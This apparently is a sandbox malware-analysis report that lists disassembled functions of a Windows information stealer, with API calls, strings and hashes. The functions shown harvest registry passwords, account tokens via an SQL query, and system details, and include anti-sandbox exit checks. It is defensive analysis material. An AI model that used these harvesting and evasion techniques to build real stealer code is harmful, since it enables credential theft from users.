RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407CD0), ref: 0040737A
RegEnumValueA.ADVAPI32(00407CD0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073F1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040744D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407492
HeapFree.KERNEL32(00000000,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407499

Part of subcall function 00409290: vsprintf_s.MSVCRT ref: 004092AB

task.LIBCPMTD ref: 00407595

Strings

Password, xrefs: 00407441

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: e183b5279ab9e6df2eb167b03a4cc02d75207c5ff0d2bc4bafbb891a8174e7a2
Instruction ID: 975b1f2fff90f96d03099a1470760af69fc6b50b1064dc5ad3510b71ddc5061f
Opcode Fuzzy Hash: e183b5279ab9e6df2eb167b03a4cc02d75207c5ff0d2bc4bafbb891a8174e7a2
Instruction Fuzzy Hash: 52613DB5D041689BDB24DF50CC41BDAB7B8BF48304F0081EAE689A6181DFB46BC9CF95

Function 00416FA0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00416FE2
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041701F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 004170A3
HeapAlloc.KERNEL32(00000000), ref: 004170AA
wsprintfA.USER32 ref: 004170E0

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Strings

\, xrefs: 00417000
C, xrefs: 00416FEC
:, xrefs: 00416FFC

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: 11e96b5f598d36b5145eb5ca339976e7cb65ddbe81ead056b2f3bcd54bd5f766
Instruction ID: 54c0e4e4c236f1d7f0585d8ba6b1fa909b8b3bfc40374ef6a46e6daa0de72561
Opcode Fuzzy Hash: 11e96b5f598d36b5145eb5ca339976e7cb65ddbe81ead056b2f3bcd54bd5f766
Instruction Fuzzy Hash: 1341B1B1D04248EBDB20DFA4CC45BEEBBB8AF08714F14009DF50967281D7786A84CBA9

Function 00417BA0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,024A91E8,00000000,?,00420DFC,00000000,?,00000000), ref: 00417BD0
HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,024A91E8,00000000,?,00420DFC,00000000,?,00000000,00000000), ref: 00417BD7
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00417BF8
__aulldiv.LIBCMT ref: 00417C12
__aulldiv.LIBCMT ref: 00417C20
wsprintfA.USER32 ref: 00417C4C

Strings

%d MB, xrefs: 00417C43
@, xrefs: 00417BED

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: a22fd26a20c89c12fe6cfaaf614cf5a2958407047c3d7a896a6bd652d51aa950
Instruction ID: f6ead53c39b4582a22ff827f4f83d0c2aee1884270de42e44796eba59a74ffdb
Opcode Fuzzy Hash: a22fd26a20c89c12fe6cfaaf614cf5a2958407047c3d7a896a6bd652d51aa950
Instruction Fuzzy Hash: AD218CF1E44218ABDB10DFD8CC49FAEB7B9FB08B14F104509F605BB280D77869018BA9

Function 00416B70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT ref: 00416B7E

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

OpenProcess.KERNEL32(001FFFFF,00000000,00416DAD,004205AD), ref: 00416BBC
memset.MSVCRT ref: 00416C0A
??_V@YAXPAX@Z.MSVCRT ref: 00416D5E

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00416C2C

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: OpenProcesslstrcpymemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-4138519520
Opcode ID: c453f61fdad82316102293a0e958c512ba88ebf48c4ed154d6fcde4d13788c1c
Instruction ID: 7f38ab3eb3b1a919a3e5ec0c0fab515e305e32cb9f2de8b47bf31e49bfe0b2e9
Opcode Fuzzy Hash: c453f61fdad82316102293a0e958c512ba88ebf48c4ed154d6fcde4d13788c1c
Instruction Fuzzy Hash: 285162B0D002189BDB24EB95DC45BEEB774AF44318F5041AEE50566281EB78AEC8CF5D

Function 0040B8E0 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 274stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000), ref: 0040BADD

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040BB0B
lstrlenA.KERNEL32(00000000), ref: 0040BBE3
lstrlenA.KERNEL32(00000000), ref: 0040BBF7

Strings

SELECT service, encrypted_token FROM token_service, xrefs: 0040BA4B
AccountTokens, xrefs: 0040B9A9
AccountId, xrefs: 0040BB02
AccountTokens, xrefs: 0040B91A

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpylstrlen$AllocLocallstrcat$memcmpmemset
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 2910778473-1079375795
Opcode ID: b5f975acdeb2d312ea774bf0b2276d0fd2a488ca684356ea849579f542d58139
Instruction ID: 210edd3ff24f1e31e7376af0b8f6dc5aafa9379f597eea4b8f30950ff7929db6
Opcode Fuzzy Hash: b5f975acdeb2d312ea774bf0b2276d0fd2a488ca684356ea849579f542d58139
Instruction Fuzzy Hash: 32A16271911108ABCF14FBA1DC56EEE7339AF54318F40416EF40772191EF786A98CBAA

Function 00416490 Relevance: 10.6, APIs: 7, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,0248CD80), ref: 004192B1
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,0248CDB0), ref: 004192CA
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,024A6BD8), ref: 004192E2
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,024A6BA8), ref: 004192FA
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,024A6BF0), ref: 00419313
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,024864D0), ref: 0041932B
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,02485BE8), ref: 00419343
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,02485928), ref: 0041935C
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,024A6C38), ref: 00419374
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,024A6C20), ref: 0041938C
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,024A6C50), ref: 004193A5
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,024A6C08), ref: 004193BD
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,02485968), ref: 004193D5
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,024A6C68), ref: 004193EE

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 004011D0: ExitProcess.KERNEL32 ref: 00401211

Part of subcall function 00401160: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004164B7,00420ADA), ref: 0040116A
Part of subcall function 00401160: ExitProcess.KERNEL32 ref: 0040117E

Part of subcall function 00401110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004164BC), ref: 0040112B
Part of subcall function 00401110: VirtualAllocExNuma.KERNEL32(00000000,?,?,004164BC), ref: 00401132
Part of subcall function 00401110: ExitProcess.KERNEL32 ref: 00401143

Part of subcall function 00401220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401258
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401266
Part of subcall function 00401220: ExitProcess.KERNEL32 ref: 00401294

Part of subcall function 00416210: GetUserDefaultLangID.KERNEL32(?,?,004164C6,00420ADA), ref: 00416214

GetUserDefaultLangID.KERNEL32 ref: 004164C6

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011C6

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,024864E0,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 0041656A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416588
CloseHandle.KERNEL32(00000000), ref: 00416599
Sleep.KERNEL32(00001770), ref: 004165A4
CloseHandle.KERNEL32(?,00000000,?,024864E0,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 004165BA
ExitProcess.KERNEL32 ref: 004165C2

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressProc$Process$Exit$Heap$AllocUserlstrcpy$CloseDefaultEventHandleLangName__aulldiv$ComputerCreateCurrentGlobalInfoMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 1125299040-0
Opcode ID: bd5e77f025ac1a9f5aae9166d604eb76ef5c50051129d66bdcbb405761ec2d2f
Instruction ID: 0c3fac6cf7b50bea5c1f94bc3db5f65e3227356296d56eb517008ea5f4118e6e
Opcode Fuzzy Hash: bd5e77f025ac1a9f5aae9166d604eb76ef5c50051129d66bdcbb405761ec2d2f
Instruction Fuzzy Hash: 03317130941108BACB14FBF2DC56BEE7739AF18318F50452EF513A6092DFBC6985C66A

Function 00417E7C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
wsprintfA.USER32 ref: 00417EF9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B
RegCloseKey.ADVAPI32(00000000), ref: 00417F2C
RegCloseKey.ADVAPI32(00000000), ref: 00417F39

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

RegQueryValueExA.KERNEL32(00000000,024A91D0,00000000,000F003F,?,00000400), ref: 00417F8C
lstrlenA.KERNEL32(?), ref: 00417FA1
RegQueryValueExA.KERNEL32(00000000,024A9158,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00420B24), ref: 00418039
RegCloseKey.KERNEL32(00000000), ref: 004180A8
RegCloseKey.ADVAPI32(00000000), ref: 004180BA

Strings

%s\%s, xrefs: 00417EED

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: da7412f65d4ae237bf9fca7fbfe5797575d9a50e729bc0d6f9178e3139d1acc2
Instruction ID: 0d61fbe7999a289fff57b0559f919f0328d455d47faa6f76a7bc41a93025e826
Opcode Fuzzy Hash: da7412f65d4ae237bf9fca7fbfe5797575d9a50e729bc0d6f9178e3139d1acc2
Instruction Fuzzy Hash: 2B211971A0021CABDB24DF54DC85FD9B7B9FB48714F00C199A609A6280DF756AC6CF98

Function 00404800 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT ref: 0040483A
??_U@YAPAXI@Z.MSVCRT ref: 00404851
??2@YAPAXI@Z.MSVCRT ref: 00404868
lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Strings

<, xrefs: 00404819

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??2@CrackInternetlstrlen
String ID: <
API String ID: 184842949-4251816714
Opcode ID: 714a6afd48a1220939388f3593ef12a5cb7faa7addf1139cf3c72c141de3db28
Instruction ID: 93cf72731df314aae8b190796811ac6c8ed605cccc68025416595ba5c6ffb16c
Opcode Fuzzy Hash: 714a6afd48a1220939388f3593ef12a5cb7faa7addf1139cf3c72c141de3db28
Instruction Fuzzy Hash: 0A2129B1D00208ABDF14DFA5E849ADD7B75FF44364F108229F926A72D0DB706A05CF95

Function 00417130 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417144
HeapAlloc.KERNEL32(00000000), ref: 0041714B
RegOpenKeyExA.KERNEL32(80000002,02489D40,00000000,00020119,00000000), ref: 0041717D
RegQueryValueExA.KERNEL32(00000000,024A90E0,00000000,00000000,?,000000FF), ref: 0041719E
RegCloseKey.ADVAPI32(00000000), ref: 004171A8

Strings

Windows 11, xrefs: 0041715D

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: 7e52da74aeff6e087cb32fc56a687b6502875dfd8540e0d42b3236aa97f07f61
Instruction ID: 198b37f2a351322ee600fb862932720b373255b2f394089b4190a5419862cb8c
Opcode Fuzzy Hash: 7e52da74aeff6e087cb32fc56a687b6502875dfd8540e0d42b3236aa97f07f61
Instruction Fuzzy Hash: 4C018F74A40208BFEB10DFE4DD49FAE7779EB08710F104098FA0997290D6749A428B64

Function 004171C0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004171D4
HeapAlloc.KERNEL32(00000000), ref: 004171DB
